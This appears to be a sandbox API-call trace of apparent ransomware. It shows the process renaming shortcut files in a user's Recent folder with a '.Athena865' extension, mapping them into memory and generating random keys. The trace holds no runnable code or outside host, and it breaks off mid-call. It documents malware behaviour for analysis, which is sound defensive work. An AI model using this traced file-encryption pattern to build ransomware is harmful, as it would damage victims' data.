lstrlenW (lpString="veFVtkJ6vB2zgbhD4Roq.mkv.lnk") returned 28 [0052.946] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\veFVtkJ6vB2zgbhD4Roq.mkv.lnk.Athena865") returned 92 [0052.947] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\veFVtkJ6vB2zgbhD4Roq.mkv.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\vefvtkj6vb2zgbhd4roq.mkv.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\veFVtkJ6vB2zgbhD4Roq.mkv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\vefvtkj6vb2zgbhd4roq.mkv.lnk.athena865"), dwFlags=0x1) returned 1 [0052.947] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\veFVtkJ6vB2zgbhD4Roq.mkv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\vefvtkj6vb2zgbhd4roq.mkv.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.948] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2630) returned 1 [0052.948] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.948] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.948] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.948] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.957] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.957] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.957] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd50, lpName=0x0) returned 0x154 [0052.957] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd50) returned 0x100000 [0052.957] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.958] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.958] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.958] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.959] lstrcpyW (in: lpString1=0x241e8b4, lpString2="VKBs.lnk" | out: lpString1="VKBs.lnk") returned="VKBs.lnk" [0052.959] lstrlenW (lpString="VKBs.lnk") returned 8 [0052.959] lstrlenW (lpString="Athena865") returned 9 [0052.959] lstrlenW (lpString=".dll") returned 4 [0052.959] lstrcmpiW (lpString1="VKBs.lnk", lpString2=".dll") returned 1 [0052.959] lstrlenW (lpString=".lnk") returned 4 [0052.959] lstrcmpiW (lpString1="VKBs.lnk", lpString2=".lnk") returned 1 [0052.959] lstrlenW (lpString=".ini") returned 4 [0052.959] lstrcmpiW (lpString1="VKBs.lnk", lpString2=".ini") returned 1 [0052.959] lstrlenW (lpString=".sys") returned 4 [0052.959] lstrcmpiW (lpString1="VKBs.lnk", lpString2=".sys") returned 1 [0052.959] lstrlenW (lpString="VKBs.lnk") returned 8 [0052.959] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\VKBs.lnk.Athena865") returned 72 [0052.960] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\VKBs.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\vkbs.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\VKBs.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\vkbs.lnk.athena865"), dwFlags=0x1) returned 1 [0052.960] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\VKBs.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\vkbs.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.961] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2517) returned 1 [0052.961] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.961] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.961] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.961] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.962] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.962] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.962] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xce0, lpName=0x0) returned 0x154 [0052.962] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xce0) returned 0x100000 [0052.962] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.963] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.963] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.963] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.965] lstrcpyW (in: lpString1=0x241e8b4, lpString2="vofRB78_e8.lnk" | out: lpString1="vofRB78_e8.lnk") returned="vofRB78_e8.lnk" [0052.965] lstrlenW (lpString="vofRB78_e8.lnk") returned 14 [0052.965] lstrlenW (lpString="Athena865") returned 9 [0052.965] lstrcmpiW (lpString1="78_e8.lnk", lpString2="Athena865") returned -1 [0052.965] lstrlenW (lpString=".dll") returned 4 [0052.965] lstrcmpiW (lpString1="vofRB78_e8.lnk", lpString2=".dll") returned 1 [0052.965] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\vofRB78_e8.lnk.Athena865") returned 78 [0052.965] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\vofRB78_e8.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\vofrb78_e8.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\vofRB78_e8.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\vofrb78_e8.lnk.athena865"), dwFlags=0x1) returned 1 [0052.966] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\vofRB78_e8.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\vofrb78_e8.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.966] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2615) returned 1 [0052.966] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.966] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.966] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.966] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.967] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.967] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.967] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd40, lpName=0x0) returned 0x154 [0052.967] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd40) returned 0x100000 [0052.968] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.968] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.968] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.970] lstrcpyW (in: lpString1=0x241e8b4, lpString2="W0wpgP-oU.lnk" | out: lpString1="W0wpgP-oU.lnk") returned="W0wpgP-oU.lnk" [0052.970] lstrlenW (lpString="W0wpgP-oU.lnk") returned 13 [0052.970] lstrlenW (lpString="Athena865") returned 9 [0052.970] lstrcmpiW (lpString1="gP-oU.lnk", lpString2="Athena865") returned 1 [0052.970] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\W0wpgP-oU.lnk.Athena865") returned 77 [0052.970] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\W0wpgP-oU.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\w0wpgp-ou.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\W0wpgP-oU.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\w0wpgp-ou.lnk.athena865"), dwFlags=0x1) returned 1 [0052.971] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\W0wpgP-oU.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\w0wpgp-ou.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.971] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2572) returned 1 [0052.971] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.971] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.971] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.971] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.972] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.972] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.972] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd10, lpName=0x0) returned 0x154 [0052.972] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd10) returned 0x100000 [0052.973] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.973] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.973] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.975] lstrcpyW (in: lpString1=0x241e8b4, lpString2="W4EwJ45n_ pZ8_.lnk" | out: lpString1="W4EwJ45n_ pZ8_.lnk") returned="W4EwJ45n_ pZ8_.lnk" [0052.975] lstrlenW (lpString="W4EwJ45n_ pZ8_.lnk") returned 18 [0052.975] lstrlenW (lpString="Athena865") returned 9 [0052.975] lstrcmpiW (lpString1=" pZ8_.lnk", lpString2="Athena865") returned -1 [0052.975] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\W4EwJ45n_ pZ8_.lnk.Athena865") returned 82 [0052.975] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\W4EwJ45n_ pZ8_.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\w4ewj45n_ pz8_.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\W4EwJ45n_ pZ8_.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\w4ewj45n_ pz8_.lnk.athena865"), dwFlags=0x1) returned 1 [0052.976] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\W4EwJ45n_ pZ8_.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\w4ewj45n_ pz8_.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.976] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3853) returned 1 [0052.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.976] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.977] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.977] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.977] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1210, lpName=0x0) returned 0x154 [0052.977] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1210) returned 0x100000 [0052.978] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.979] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.979] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.979] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.980] lstrcpyW (in: lpString1=0x241e8b4, lpString2="w5VIYDZ.lnk" | out: lpString1="w5VIYDZ.lnk") returned="w5VIYDZ.lnk" [0052.980] lstrlenW (lpString="w5VIYDZ.lnk") returned 11 [0052.980] lstrlenW (lpString="Athena865") returned 9 [0052.980] lstrcmpiW (lpString1="VIYDZ.lnk", lpString2="Athena865") returned 1 [0052.980] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\w5VIYDZ.lnk.Athena865") returned 75 [0052.980] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\w5VIYDZ.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\w5viydz.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\w5VIYDZ.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\w5viydz.lnk.athena865"), dwFlags=0x1) returned 1 [0052.983] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\w5VIYDZ.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\w5viydz.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.983] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2582) returned 1 [0052.983] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.983] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.984] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.984] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.984] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.985] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd20, lpName=0x0) returned 0x154 [0052.985] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd20) returned 0x100000 [0052.985] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.985] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.985] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.986] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.987] lstrcpyW (in: lpString1=0x241e8b4, lpString2="w9UQPoUH.lnk" | out: lpString1="w9UQPoUH.lnk") returned="w9UQPoUH.lnk" [0052.987] lstrlenW (lpString="w9UQPoUH.lnk") returned 12 [0052.987] lstrlenW (lpString="Athena865") returned 9 [0052.987] lstrcmpiW (lpString1="QPoUH.lnk", lpString2="Athena865") returned 1 [0052.987] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\w9UQPoUH.lnk.Athena865") returned 76 [0052.987] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\w9UQPoUH.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\w9uqpouh.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\w9UQPoUH.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\w9uqpouh.lnk.athena865"), dwFlags=0x1) returned 1 [0052.990] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\w9UQPoUH.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\w9uqpouh.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.991] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5332) returned 1 [0052.991] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.991] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.991] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.991] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.992] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.992] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.992] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17e0, lpName=0x0) returned 0x154 [0052.992] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17e0) returned 0x100000 [0052.992] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.993] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.993] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.994] lstrcpyW (in: lpString1=0x241e8b4, lpString2="WB1Bcf.lnk" | out: lpString1="WB1Bcf.lnk") returned="WB1Bcf.lnk" [0052.994] lstrlenW (lpString="WB1Bcf.lnk") returned 10 [0052.994] lstrlenW (lpString="Athena865") returned 9 [0052.994] lstrcmpiW (lpString1="B1Bcf.lnk", lpString2="Athena865") returned 1 [0052.994] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\WB1Bcf.lnk.Athena865") returned 74 [0052.994] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\WB1Bcf.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\wb1bcf.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\WB1Bcf.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\wb1bcf.lnk.athena865"), dwFlags=0x1) returned 1 [0052.995] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\WB1Bcf.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\wb1bcf.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.995] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2571) returned 1 [0052.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.996] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.996] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.996] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.997] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.998] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.998] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.000] lstrcpyW (in: lpString1=0x241e8b4, lpString2="wJbyzOVnUZ9XR-P9FoKE.lnk" | out: lpString1="wJbyzOVnUZ9XR-P9FoKE.lnk") returned="wJbyzOVnUZ9XR-P9FoKE.lnk" [0053.000] lstrlenW (lpString="wJbyzOVnUZ9XR-P9FoKE.lnk") returned 24 [0053.000] lstrlenW (lpString="Athena865") returned 9 [0053.000] lstrcmpiW (lpString1="9FoKE.lnk", lpString2="Athena865") returned -1 [0053.000] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\wJbyzOVnUZ9XR-P9FoKE.lnk.Athena865") returned 88 [0053.000] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\wJbyzOVnUZ9XR-P9FoKE.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\wjbyzovnuz9xr-p9foke.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\wJbyzOVnUZ9XR-P9FoKE.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\wjbyzovnuz9xr-p9foke.lnk.athena865"), dwFlags=0x1) returned 1 [0053.001] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\wJbyzOVnUZ9XR-P9FoKE.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\wjbyzovnuz9xr-p9foke.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.001] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2513) returned 1 [0053.001] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.001] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.001] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.001] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.002] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.002] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.002] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.003] CryptGenRandom (in: 